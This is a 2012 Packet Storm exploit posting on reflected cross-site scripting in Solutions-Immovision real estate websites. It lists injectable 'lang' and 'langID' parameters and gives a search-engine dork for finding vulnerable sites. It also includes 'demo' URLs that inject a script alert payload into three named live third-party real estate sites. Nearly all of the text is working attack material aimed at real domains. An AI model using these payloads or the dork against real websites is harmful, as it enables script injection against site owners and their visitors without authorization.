Solutions-Immovision Cross Site Scripting

2012-01-30T00:00:00
ID PACKETSTORM:109247
Type packetstorm
Reporter Atmon3r
Modified 2012-01-30T00:00:00

Description

                                        
                                            `+-------------------------------------------------------------------------+  
# Exploit Title : Solutions-immovision -All website XSS (Cross Site   
Scripting)  
# version : All  
# Author : Atmon3r  
# Date : 30/01/2012  
# Software Link : http://www.solutions-immovision.com/  
# Dork : intext:Powered By Openmedia  
+-------------------------------------------------------------------------+  
  
  
[+] Exploits  
  
http://localhost/listing.php?langID=[XSS]  
http://localhost/details.php?lang=[XSS]  
http://localhost/page.php?lang=[XSS]  
http://localhost/index.php?lang=[XSS]  
  
  
[+] Demo  
  
http://www.smimmobiliernarbonne.com/listing.php?langID=fr/"><script>alert('Xss   
by Atm0n3r')</script>  
http://www.sernin-immobilier.com/details.php?lang=fr/"><script>alert('Xss By   
Atm0n3r')</script>  
http://www.azur-privilege.com/page.php?src=index-ap.html&lang=fr/"><script>alert('Xss   
By Atm0n3r')</script>  
  
  
# The End //  
`